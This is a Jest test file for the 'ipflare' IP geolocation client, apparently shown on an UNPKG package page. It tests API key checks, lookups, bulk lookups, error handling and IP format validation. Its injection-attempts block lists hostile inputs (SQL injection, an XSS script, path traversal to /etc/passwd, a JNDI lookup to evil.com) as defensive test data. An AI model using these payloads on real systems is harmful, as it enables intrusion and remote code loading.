UNPKG

ipflare

Version:

IP Geolocation API, our API enables you to effortlessly obtain precise geolocation data for any IP address through a single endpoint. Benefit from ultra-fast responses—typically between 50-100ms—and enjoy reliable performance with 99.9% uptime.

741 lines (633 loc) 23.3 kB
import axios from "axios"; import { IPFlare, type IPGeolocationResponse, type BulkLookupResponse, type IPGeolocationOptions, isIPGeolocationError, isIPGeolocationSuccess, isSuccess, isError, } from "../index"; // Mock axios jest.mock("axios", () => ({ create: jest.fn(() => ({ get: jest.fn(), post: jest.fn(), })), isAxiosError: jest.fn(), })); const mockedAxios = axios as jest.Mocked<typeof axios>; const mockAxiosInstance = { get: jest.fn(), post: jest.fn(), } as any; describe("IPFlare", () => { const mockApiKey = "test-api-key"; let geolocator: IPFlare; beforeEach(() => { jest.clearAllMocks(); mockedAxios.create.mockReturnValue(mockAxiosInstance); geolocator = new IPFlare({ apiKey: mockApiKey }); }); describe("Constructor", () => { it("should create instance with valid API key", () => { expect(() => new IPFlare({ apiKey: "valid-key" })).not.toThrow(); }); it("should throw error when API key is not provided", () => { expect(() => new IPFlare({ apiKey: "" })).toThrow("API key is required"); }); it("should throw error when API key is not a string", () => { expect(() => new IPFlare({ apiKey: 123 as unknown as string })).toThrow( "API key must be a string" ); }); it("should throw error when API key is empty string", () => { expect(() => new IPFlare({ apiKey: "" })).toThrow("API key is required"); }); it("should throw error when API key is whitespace only", () => { expect(() => new IPFlare({ apiKey: " " })).toThrow( "API key cannot be empty" ); }); it("should create axios instance with correct config", () => { new IPFlare({ apiKey: "test-key", baseURL: "https://custom.api.com", timeout: 5000, }); expect(mockedAxios.create).toHaveBeenCalledWith({ baseURL: "https://custom.api.com", timeout: 5000, headers: { "X-API-Key": "test-key", "Content-Type": "application/json", }, }); }); it("should use default config when optional params not provided", () => { new IPFlare({ apiKey: "test-key" }); expect(mockedAxios.create).toHaveBeenCalledWith({ baseURL: "https://api.ipflare.io", timeout: 10000, headers: { "X-API-Key": "test-key", "Content-Type": "application/json", }, }); }); }); describe("lookup", () => { const mockResponse: IPGeolocationResponse = { ip: "178.238.11.6", city: "Mountain View", country_code: "US", in_eu: false, land_locked: false, }; beforeEach(() => { mockAxiosInstance.get.mockResolvedValue({ data: mockResponse }); }); it("should return error when IP is not provided", async () => { const result = await geolocator.lookup(""); expect(result.ok).toBe(false); if (!result.ok) { expect(result.error.type).toBe("INVALID_INPUT"); expect(result.error.message).toBe("IP address is required"); } }); it("should return error when IP is not a string", async () => { const result = await geolocator.lookup(123 as unknown as string); expect(result.ok).toBe(false); if (!result.ok) { expect(result.error.type).toBe("INVALID_INPUT"); expect(result.error.message).toBe("IP address must be a string"); } }); it("should return error for invalid IPv4 format", async () => { const result = await geolocator.lookup("999.999.999.999"); expect(result.ok).toBe(false); if (!result.ok) { expect(result.error.type).toBe("INVALID_IP_ADDRESS"); expect(result.error.message).toBe( "Invalid IP address format: 999.999.999.999" ); } }); it("should return error for invalid IPv6 format", async () => { const result = await geolocator.lookup("gggg::1"); expect(result.ok).toBe(false); if (!result.ok) { expect(result.error.type).toBe("INVALID_IP_ADDRESS"); expect(result.error.message).toBe("Invalid IP address format: gggg::1"); } }); it("should fetch geolocation data for valid IPv4", async () => { const result = await geolocator.lookup("178.238.11.6"); expect(mockAxiosInstance.get).toHaveBeenCalledWith("/178.238.11.6", { params: {}, }); expect(result.ok).toBe(true); if (result.ok) { expect(result.data).toEqual(mockResponse); } }); it("should fetch geolocation data for valid IPv6", async () => { const ipv6 = "2001:4860:4860::8888"; const result = await geolocator.lookup(ipv6); expect(mockAxiosInstance.get).toHaveBeenCalledWith(`/${ipv6}`, { params: {}, }); expect(result.ok).toBe(true); if (result.ok) { expect(result.data).toEqual(mockResponse); } }); it("should trim whitespace from IP address", async () => { const result = await geolocator.lookup(" 178.238.11.6 "); expect(mockAxiosInstance.get).toHaveBeenCalledWith("/178.238.11.6", { params: {}, }); expect(result.ok).toBe(true); if (result.ok) { expect(result.data).toEqual(mockResponse); } }); it("should include optional fields in request", async () => { const result = await geolocator.lookup("178.238.11.6", { include: { asn: true, isp: true, }, }); expect(mockAxiosInstance.get).toHaveBeenCalledWith("/178.238.11.6", { params: { fields: "asn,isp" }, }); expect(result.ok).toBe(true); }); it("should handle 401 unauthorized error", async () => { const errorResponse = new Error("API Error") as Error & { isAxiosError: boolean; response: { status: number }; }; errorResponse.isAxiosError = true; errorResponse.response = { status: 401, }; mockAxiosInstance.get.mockRejectedValue(errorResponse); mockedAxios.isAxiosError.mockReturnValue(true); const result = await geolocator.lookup("178.238.11.6"); expect(result.ok).toBe(false); if (!result.ok) { expect(result.error.type).toBe("UNAUTHORIZED"); expect(result.error.message).toBe("Invalid API key"); } }); it("should handle 429 quota exceeded error", async () => { const errorResponse = new Error("API Error") as Error & { isAxiosError: boolean; response: { status: number }; }; errorResponse.isAxiosError = true; errorResponse.response = { status: 429, }; mockAxiosInstance.get.mockRejectedValue(errorResponse); mockedAxios.isAxiosError.mockReturnValue(true); const result = await geolocator.lookup("178.238.11.6"); expect(result.ok).toBe(false); if (!result.ok) { expect(result.error.type).toBe("QUOTA_EXCEEDED"); expect(result.error.message).toBe("Quota exceeded"); } }); it("should handle API errors with custom message", async () => { const errorResponse = new Error("API Error"); (errorResponse as any).isAxiosError = true; (errorResponse as any).response = { data: { error: "Custom error message" }, status: 400, }; mockAxiosInstance.get.mockRejectedValue(errorResponse); mockedAxios.isAxiosError.mockReturnValue(true); const result = await geolocator.lookup("178.238.11.6"); expect(result.ok).toBe(false); if (!result.ok) { expect(result.error.message).toBe("Custom error message"); } }); it("should handle rate limit errors specifically", async () => { const rateLimitError = new Error("API Error"); (rateLimitError as any).isAxiosError = true; (rateLimitError as any).response = { status: 429, data: { error: "Rate limit exceeded" }, }; mockAxiosInstance.get.mockRejectedValue(rateLimitError); mockedAxios.isAxiosError.mockReturnValue(true); const result = await geolocator.lookup("178.238.11.6"); expect(result.ok).toBe(false); if (!result.ok) { expect(result.error.type).toBe("QUOTA_EXCEEDED"); expect(result.error.message).toBe("Quota exceeded"); } }); it("should handle generic errors", async () => { mockAxiosInstance.get.mockRejectedValue(new Error("Network error")); mockedAxios.isAxiosError.mockReturnValue(false); const result = await geolocator.lookup("178.238.11.6"); expect(result.ok).toBe(false); if (!result.ok) { expect(result.error.type).toBe("UNKNOWN_ERROR"); expect(result.error.message).toBe("An unexpected error occurred"); } }); }); describe("bulkLookup", () => { const mockBulkResponse: BulkLookupResponse = [ { ip: "178.238.11.6", status: "success", data: { ip: "178.238.11.6", city: "Mountain View", country_code: "US", in_eu: false, land_locked: false, }, }, { ip: "invalid-ip", status: "error", error_message: "Invalid IP address", }, ]; beforeEach(() => { mockAxiosInstance.post.mockResolvedValue({ data: { results: mockBulkResponse }, }); }); it("should return error when IPs is not an array", async () => { const result = await geolocator.bulkLookup({ ips: "not-array" as any }); expect(result.ok).toBe(false); if (!result.ok) { expect(result.error.type).toBe("INVALID_INPUT"); expect(result.error.message).toBe("IPs must be an array"); } }); it("should return error when IPs array is empty", async () => { const result = await geolocator.bulkLookup({ ips: [] }); expect(result.ok).toBe(false); if (!result.ok) { expect(result.error.type).toBe("INVALID_INPUT"); expect(result.error.message).toBe( "At least one IP address is required" ); } }); it("should return error when IPs array exceeds 500", async () => { const tooManyIPs = new Array(501).fill("178.238.11.6"); const result = await geolocator.bulkLookup({ ips: tooManyIPs }); expect(result.ok).toBe(false); if (!result.ok) { expect(result.error.type).toBe("INVALID_INPUT"); expect(result.error.message).toBe( "Maximum of 500 IPs per request allowed" ); } }); it("should return error for invalid IP addresses in array", async () => { const result = await geolocator.bulkLookup({ ips: ["178.238.11.6", "invalid-ip", "999.999.999.999"], }); expect(result.ok).toBe(false); if (!result.ok) { expect(result.error.type).toBe("INVALID_IP_ADDRESS"); expect(result.error.message).toBe( "Invalid IP addresses found: invalid-ip, 999.999.999.999" ); } }); it("should return error for non-string values in IPs array", async () => { const result = await geolocator.bulkLookup({ ips: ["178.238.11.6", 123, null] as any, }); expect(result.ok).toBe(false); if (!result.ok) { expect(result.error.type).toBe("INVALID_IP_ADDRESS"); expect(result.error.message).toContain("Invalid IP addresses found"); } }); it("should fetch bulk geolocation data for valid IPs", async () => { const result = await geolocator.bulkLookup({ ips: ["178.238.11.6", "1.1.1.1"], }); expect(mockAxiosInstance.post).toHaveBeenCalledWith( "/bulk-lookup", { ips: ["178.238.11.6", "1.1.1.1"] }, { params: {} } ); expect(result.ok).toBe(true); if (result.ok) { expect(result.data).toEqual(mockBulkResponse); } }); it("should trim whitespace from IP addresses", async () => { const result = await geolocator.bulkLookup({ ips: [" 178.238.11.6 ", " 1.1.1.1 "], }); expect(mockAxiosInstance.post).toHaveBeenCalledWith( "/bulk-lookup", { ips: ["178.238.11.6", "1.1.1.1"] }, { params: {} } ); expect(result.ok).toBe(true); }); it("should include optional fields in bulk request", async () => { const result = await geolocator.bulkLookup({ ips: ["178.238.11.6", "1.1.1.1"], include: { asn: true, isp: true, }, }); expect(mockAxiosInstance.post).toHaveBeenCalledWith( "/bulk-lookup", { ips: ["178.238.11.6", "1.1.1.1"] }, { params: { fields: "asn,isp" } } ); expect(result.ok).toBe(true); }); it("should handle 401 unauthorized error", async () => { const errorResponse = new Error("API Error"); (errorResponse as any).isAxiosError = true; (errorResponse as any).response = { status: 401, }; mockAxiosInstance.post.mockRejectedValue(errorResponse); mockedAxios.isAxiosError.mockReturnValue(true); const result = await geolocator.bulkLookup({ ips: ["178.238.11.6"] }); expect(result.ok).toBe(false); if (!result.ok) { expect(result.error.type).toBe("UNAUTHORIZED"); expect(result.error.message).toBe("Invalid API key"); } }); it("should handle 429 quota exceeded error", async () => { const errorResponse = new Error("API Error"); (errorResponse as any).isAxiosError = true; (errorResponse as any).response = { status: 429, }; mockAxiosInstance.post.mockRejectedValue(errorResponse); mockedAxios.isAxiosError.mockReturnValue(true); const result = await geolocator.bulkLookup({ ips: ["178.238.11.6"] }); expect(result.ok).toBe(false); if (!result.ok) { expect(result.error.type).toBe("QUOTA_EXCEEDED"); expect(result.error.message).toBe("Quota exceeded"); } }); it("should handle rate limit with custom API message in bulk", async () => { const rateLimitError = new Error("API Error"); (rateLimitError as any).isAxiosError = true; (rateLimitError as any).response = { status: 429, data: { error: "API quota exceeded - please try again later" }, }; mockAxiosInstance.post.mockRejectedValue(rateLimitError); mockedAxios.isAxiosError.mockReturnValue(true); const result = await geolocator.bulkLookup({ ips: ["178.238.11.6"] }); expect(result.ok).toBe(false); if (!result.ok) { expect(result.error.type).toBe("QUOTA_EXCEEDED"); expect(result.error.message).toBe("Quota exceeded"); } }); it("should handle non-Error, non-AxiosError exceptions in bulk lookup", async () => { const weirdError = "Some weird non-Error exception"; mockAxiosInstance.post.mockRejectedValue(weirdError); mockedAxios.isAxiosError.mockReturnValue(false); const result = await geolocator.bulkLookup({ ips: ["178.238.11.6"] }); expect(result.ok).toBe(false); if (!result.ok) { expect(result.error.type).toBe("UNKNOWN_ERROR"); expect(result.error.message).toBe("An unexpected error occurred"); } }); it("should handle AxiosError without response in bulk lookup", async () => { const networkError = new Error("Network Error"); (networkError as any).isAxiosError = true; mockAxiosInstance.post.mockRejectedValue(networkError); mockedAxios.isAxiosError.mockReturnValue(true); const result = await geolocator.bulkLookup({ ips: ["178.238.11.6"] }); expect(result.ok).toBe(false); if (!result.ok) { expect(result.error.type).toBe("NETWORK_ERROR"); expect(result.error.message).toBe("Network error occurred"); } }); it("should handle invalid response format", async () => { mockAxiosInstance.post.mockResolvedValue({ data: { notResults: [] }, }); const result = await geolocator.bulkLookup({ ips: ["178.238.11.6"] }); expect(result.ok).toBe(false); if (!result.ok) { expect(result.error.type).toBe("INTERNAL_SERVER_ERROR"); expect(result.error.message).toBe("Invalid response format from API"); } }); it("should handle a mix of valid and invalid IPs", async () => { const result = await geolocator.bulkLookup({ ips: [ "104.174.125.138", "not_a_valid_IP", "2001:fb1:c0:2dfd:8965:bc32:5b49:7ea9", ], }); expect(result.ok).toBe(false); if (!result.ok) { expect(result.error.type).toBe("INVALID_IP_ADDRESS"); expect(result.error.message).toBe( "Invalid IP addresses found: not_a_valid_IP" ); } }); it("should handle exactly 500 IPs", async () => { const ips = new Array(500).fill("1.1.1.1"); mockAxiosInstance.post.mockClear(); mockAxiosInstance.post.mockResolvedValueOnce({ data: { results: ips.map((ip) => ({ ip, status: "success", data: { ip, in_eu: false, land_locked: false }, })), }, }); const result = await geolocator.bulkLookup({ ips }); expect(result.ok).toBe(true); }); }); describe("Type Guards", () => { it("should correctly identify error responses", () => { const errorResponse = { ip: "invalid-ip", status: "error" as const, error_message: "Invalid IP", }; expect(isIPGeolocationError(errorResponse)).toBe(true); expect(isIPGeolocationSuccess(errorResponse)).toBe(false); }); it("should correctly identify success responses", () => { const successResponse = { ip: "178.238.11.6", status: "success" as const, data: { ip: "178.238.11.6", in_eu: false, land_locked: false, }, }; expect(isIPGeolocationSuccess(successResponse)).toBe(true); expect(isIPGeolocationError(successResponse)).toBe(false); }); it("should correctly identify Result success", () => { const successResult = { ok: true as const, data: { ip: "8.8.8.8", in_eu: false, land_locked: false }, }; expect(isSuccess(successResult)).toBe(true); expect(isError(successResult)).toBe(false); }); it("should correctly identify Result error", () => { const errorResult = { ok: false as const, error: { type: "INVALID_IP_ADDRESS" as const, message: "Invalid IP", }, }; expect(isSuccess(errorResult)).toBe(false); expect(isError(errorResult)).toBe(true); }); }); describe("Edge Cases and Production Scenarios", () => { describe("IPv6 Address Variations", () => { const validIPv6Addresses = [ "2001:0db8:0000:0000:0000:ff00:0042:8329", "2001:db8:0:0:0:ff00:42:8329", "2001:db8::ff00:42:8329", "::1", "fe80::1", "::ffff:192.0.2.1", "2001:db8:85a3::8a2e:370:7334", "2001:0db8:85a3:0000:0000:8a2e:0370:7334", ]; validIPv6Addresses.forEach((ip) => { it(`should accept valid IPv6: ${ip}`, async () => { mockAxiosInstance.get.mockResolvedValue({ data: { ip, in_eu: false, land_locked: false }, }); const result = await geolocator.lookup(ip); expect(result.ok).toBe(true); expect(mockAxiosInstance.get).toHaveBeenCalledWith(`/${ip}`, { params: {}, }); }); }); const invalidIPv6Addresses = [ "gggg::1", "2001:0db8:0000:0000:0000:ff00:0042:8329:extra", "2001:0db8::ff00::42:8329", ":::1", "2001:db8:85a3::8a2e:370g:7334", ]; invalidIPv6Addresses.forEach((ip) => { it(`should reject invalid IPv6: ${ip}`, async () => { const result = await geolocator.lookup(ip); expect(result.ok).toBe(false); if (!result.ok) { expect(result.error.type).toBe("INVALID_IP_ADDRESS"); expect(result.error.message).toBe( `Invalid IP address format: ${ip}` ); } }); }); }); describe("IPv4 Edge Cases", () => { const validIPv4Addresses = [ "0.0.0.0", "255.255.255.255", "192.168.1.1", "10.0.0.1", "172.16.0.1", "8.8.8.8", "1.1.1.1", ]; validIPv4Addresses.forEach((ip) => { it(`should accept valid IPv4: ${ip}`, async () => { mockAxiosInstance.get.mockResolvedValue({ data: { ip, in_eu: false, land_locked: false }, }); const result = await geolocator.lookup(ip); expect(result.ok).toBe(true); }); }); const invalidIPv4Addresses = [ "256.1.1.1", "1.256.1.1", "1.1.256.1", "1.1.1.256", "999.999.999.999", "1.1.1", "1.1.1.1.1", "a.b.c.d", "192.168.1.1a", "192.168.1.", ".192.168.1.1", "192.168..1.1", ]; invalidIPv4Addresses.forEach((ip) => { it(`should reject invalid IPv4: ${ip}`, async () => { const result = await geolocator.lookup(ip); expect(result.ok).toBe(false); if (!result.ok) { expect(result.error.type).toBe("INVALID_IP_ADDRESS"); expect(result.error.message).toBe( `Invalid IP address format: ${ip}` ); } }); }); }); describe("Special Characters and Injection Attempts", () => { const maliciousInputs = [ "'; DROP TABLE ips; --", "<script>alert('xss')</script>", "../../etc/passwd", "${jndi:ldap://evil.com/a}", "192.168.1.1\x00", "192.168.1.1\n", "192.168.1.1\r", "192.168.1.1\t", ]; maliciousInputs.forEach((input) => { it(`should safely reject malicious input: ${JSON.stringify( input )}`, async () => { const result = await geolocator.lookup(input); expect(result.ok).toBe(false); if (!result.ok) { expect(result.error.type).toBe("INVALID_IP_ADDRESS"); expect(result.error.message).toBe( `Invalid IP address format: ${input}` ); } }); }); }); }); });